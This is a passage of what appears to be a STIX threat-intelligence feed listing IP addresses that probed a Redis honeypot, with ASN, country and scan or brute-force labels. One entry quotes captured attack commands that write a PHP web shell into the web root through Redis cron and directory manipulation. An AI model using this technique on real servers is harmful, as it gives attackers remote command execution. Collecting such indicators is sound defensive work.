      "created": "2026-04-17T17:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=VN; asn=18403; asn_org=FPT Telecom Company; redis_cmd_hits=0",
      "id": "indicator--2ef7a188-241c-4b47-a17b-0ab475ff7599",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-17T17:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '42.112.101.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T17:25:11.000Z",
      "valid_until": "2026-05-19T17:25:10.000Z"
    },
    {
      "created": "2026-04-17T19:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--78f24f92-2a2e-49c1-b201-9c1254304cd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T19:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '165.232.94.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T19:25:12.000Z",
      "valid_until": "2026-05-19T19:25:10.000Z"
    },
    {
      "created": "2026-04-18T00:25:34.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--90b28aa9-4ea5-4816-90ca-d72b3d015ac0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T00:25:34.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '52.185.212.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T00:25:34.000Z",
      "valid_until": "2026-05-20T00:25:09.000Z"
    },
    {
      "created": "2026-04-18T02:25:39.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=23; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--b7d5fe16-b723-4a5f-bdaa-5e66434bde82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T02:25:39.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.178.83.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T02:25:39.000Z",
      "valid_until": "2026-05-20T02:25:04.000Z"
    },
    {
      "created": "2026-04-18T02:25:39.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--511c3719-bd49-4016-8569-fd0df4db273d",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-18T02:25:39.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '34.197.70.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T02:25:39.000Z",
      "valid_until": "2026-05-20T02:25:04.000Z"
    },
    {
      "created": "2026-04-18T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=211607; asn_org=Securitytrails, LLC; redis_cmd_hits=0",
      "id": "indicator--381324d6-31aa-484f-8ba8-2ddb35851205",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-18T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.3.53.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T03:25:10.000Z",
      "valid_until": "2026-05-20T03:25:09.000Z"
    },
    {
      "created": "2026-04-18T05:25:17.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--93335f29-35c5-47d4-a5bd-26457c2dfea8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T05:25:17.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T05:25:17.000Z",
      "valid_until": "2026-05-20T05:25:09.000Z"
    },
    {
      "created": "2026-04-18T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=56; ports=6379; cc=US; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--e631acc0-a322-4cc1-a3ca-1e4620d0adfc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '128.14.236.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T06:25:10.000Z",
      "valid_until": "2026-05-20T06:25:09.000Z"
    },
    {
      "created": "2026-04-18T11:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--56cbf51b-549c-46d8-bb5e-01fa5ce84843",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-18T11:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '42.121.253.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T11:25:11.000Z",
      "valid_until": "2026-05-20T11:25:09.000Z"
    },
    {
      "created": "2026-04-18T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--b8b32bab-ff67-4cd9-8808-928c87eeb45f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-18T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '170.187.165.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T13:25:11.000Z",
      "valid_until": "2026-05-20T13:25:09.000Z"
    },
    {
      "created": "2026-04-18T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--900123a4-9e83-4291-97e2-8cd2d742a47e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-18T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.232.27.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T13:25:11.000Z",
      "valid_until": "2026-05-20T13:25:09.000Z"
    },
    {
      "created": "2026-04-18T14:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--e98711eb-ad08-4e3b-a2d2-96696d1681f8",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-18T14:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T14:25:11.000Z",
      "valid_until": "2026-05-20T14:25:09.000Z"
    },
    {
      "created": "2026-04-18T14:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--59d3ae83-218a-4314-9574-c90a01b14925",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T14:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T14:25:11.000Z",
      "valid_until": "2026-05-20T14:25:09.000Z"
    },
    {
      "created": "2026-04-18T15:27:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=53; ports=6379; cc=TW; asn=55720; asn_org=Gigabit Hosting Sdn Bhd; cats=Generic Protocol Command Decode; redis_cmds=SET rce_cron \n\n* * * * * echo '<?php if(isset($_GET[\"c\"])){echo shell_exec($_GET[\"c\"]);} ?>' > /var/www/html/.session-gc-ebnr6t.php\n\n,CONFIG SET dir /var/spool/cron/crontabs,CONFIG SET dir /var/www/html/public/,CONFIG SET dir /var/www/html/,CONFIG SET dir /home/www/; redis_cmd_hits=0; cmd=\"CONFIG SET dir /etc/cron.d\"",
      "id": "indicator--cb0e5d61-8f5d-400e-b24f-b4c068e007c1",
      "labels": [
        "malware_hosting"
      ],
      "modified": "2026-04-18T15:27:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.230.144.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T15:27:05.000Z",
      "valid_until": "2026-05-20T15:25:18.000Z"
    },
    {
      "created": "2026-04-18T16:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--bd6f7488-b4fc-4d1f-8695-529ee667319b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T16:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T16:25:11.000Z",
      "valid_until": "2026-05-20T16:25:09.000Z"
    },
    {
      "created": "2026-04-18T18:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--de7b19fa-e6d8-41ba-a04b-9f0ea703904e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T18:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '40.119.40.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T18:25:11.000Z",
      "valid_until": "2026-05-20T18:25:09.000Z"
    },
    {
      "created": "2026-04-18T23:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=137718; asn_org=Beijing Volcano Engine Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--c0e2e5a6-2ea7-46c8-97e7-31bc80f0817f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-18T23:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '115.191.4.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T23:25:11.000Z",
      "valid_until": "2026-05-20T23:25:09.000Z"
    },
    {
      "created": "2026-04-19T00:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=55990; asn_org=Huawei Cloud Service data center; redis_cmd_hits=0",
      "id": "indicator--6887e0ab-b4ec-431a-a6e8-ea951f7d2a64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T00:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '124.71.110.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T00:25:05.000Z",
      "valid_until": "2026-05-21T00:25:04.000Z"
    },
    {
      "created": "2026-04-19T00:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--d6aa10bf-f195-4f40-8007-d37fb877266e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T00:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.169.107.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T00:25:05.000Z",
      "valid_until": "2026-05-21T00:25:04.000Z"
    },
    {
      "created": "2026-04-19T01:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--8c83027c-8e04-4c5c-8f56-3ef18c939281",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T01:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '164.90.184.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T01:25:05.000Z",
      "valid_until": "2026-05-21T01:25:03.000Z"
    },
    {
      "created": "2026-04-19T01:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--1854921d-9511-4b51-b96b-f8e5fe50a522",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T01:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.253.66.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T01:25:05.000Z",
      "valid_until": "2026-05-21T01:25:03.000Z"
    },
    {
      "created": "2026-04-19T03:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=KR; asn=139648; asn_org=PacketStream Korea; redis_cmd_hits=0",
      "id": "indicator--5bee3480-2f9e-4d3f-97bc-6bf55d18afcb",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-19T03:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '61.107.201.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T03:25:06.000Z",
      "valid_until": "2026-05-21T03:25:04.000Z"
    },
    {
      "created": "2026-04-19T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--e2491c28-4350-4415-abad-cbcb1142b131",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T04:25:10.000Z",
      "valid_until": "2026-05-21T04:25:09.000Z"
    },
    {
      "created": "2026-04-19T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=96; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode,Misc activity; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0; cmd=\"SSH-2.0-Go  \"",
      "id": "indicator--2a7c4707-a0ef-454f-ba7e-3bc9e7cec03e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '18.116.101.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T04:25:10.000Z",
      "valid_until": "2026-05-21T04:25:09.000Z"
    },
    {
      "created": "2026-04-19T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=GB; asn=211298; asn_org=Driftnet Ltd; redis_cmd_hits=0",
      "id": "indicator--7c1b0ac1-ca4b-44da-92cd-ac10d576ee88",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-19T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T04:25:10.000Z",
      "valid_until": "2026-05-21T04:25:09.000Z"
    },
    {
      "created": "2026-04-19T07:25:18.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4811; asn_org=China Telecom Group; redis_cmd_hits=0",
      "id": "indicator--8ffea8cd-b594-4410-9708-2fa5dcdc61c6",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-19T07:25:18.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '14.103.220.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T07:25:18.000Z",
      "valid_until": "2026-05-21T07:25:09.000Z"
    },
    {
      "created": "2026-04-19T15:25:29.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--7aa220ce-dc30-4be8-b1e0-735f27a35457",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-19T15:25:29.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T15:25:29.000Z",
      "valid_until": "2026-05-21T15:25:09.000Z"
    },
    {
      "created": "2026-04-19T15:25:29.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--e5bea4fa-d8dd-4b68-a473-dceba64d0142",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T15:25:29.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T15:25:29.000Z",
      "valid_until": "2026-05-21T15:25:09.000Z"
    },
    {
      "created": "2026-04-19T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-19T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '77.83.240.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T19:25:10.000Z",
      "valid_until": "2026-05-21T19:25:09.000Z"
    },
    {
      "created": "2026-04-19T22:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--a15187af-6852-49f4-8183-6133d405f97a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T22:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.95.247.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T22:25:10.000Z",
      "valid_until": "2026-05-21T22:25:08.000Z"
    },
    {
      "created": "2026-04-20T02:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=AU; asn=7545; asn_org=TPG Telecom Limited; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--1f1481c3-4d92-4dad-b95f-a4071d353bab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T02:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '118.210.60.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T02:25:06.000Z",
      "valid_until": "2026-05-22T02:25:04.000Z"
    },
    {
      "created": "2026-04-20T02:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--5c699f96-9145-4e26-9a4e-62eda74aa65b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T02:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.106.48.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T02:25:06.000Z",
      "valid_until": "2026-05-22T02:25:04.000Z"
    },
    {
      "created": "2026-04-20T03:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=KR; asn=4766; asn_org=Korea Telecom; redis_cmd_hits=0",
      "id": "indicator--e67d2914-a882-49fd-8416-23871ab82cfd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T03:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '211.57.129.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T03:25:11.000Z",
      "valid_until": "2026-05-22T03:25:08.000Z"
    },
    {
      "created": "2026-04-20T04:25:34.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--632b18c7-a1b7-42ce-9144-b3d3c8d8b79a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T04:25:34.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T04:25:34.000Z",
      "valid_until": "2026-05-22T04:25:09.000Z"
    },
    {
      "created": "2026-04-20T08:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=RO; asn=214295; asn_org=Skynet Network Ltd; redis_cmd_hits=0",
      "id": "indicator--48d167d3-59b6-4be7-8b28-eaea1714a681",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-20T08:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T08:25:06.000Z",
      "valid_until": "2026-05-22T08:25:04.000Z"
    },
    {
      "created": "2026-04-20T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--57b46c15-ae84-4190-a092-43d276595eed",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-20T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '119.45.38.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T10:25:10.000Z",
      "valid_until": "2026-05-22T10:25:09.000Z"
    },
    {
      "created": "2026-04-20T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=SC; asn=49870; asn_org=Alsycon B.V.; redis_cmd_hits=0",
      "id": "indicator--4b559977-fe68-4bbd-9181-f0c09f735b33",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-20T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T13:25:10.000Z",
      "valid_until": "2026-05-22T13:25:09.000Z"
    },
    {
      "created": "2026-04-20T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--56115388-eaeb-4928-94e5-c70d8d0ff5fe",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-20T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.237.150.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T13:25:10.000Z",
      "valid_until": "2026-05-22T13:25:09.000Z"
    },
    {
      "created": "2026-04-20T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--3fd075a7-9ac8-4fc7-8a85-be1d33e855f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.192']",
      "pattern_type": "stix",
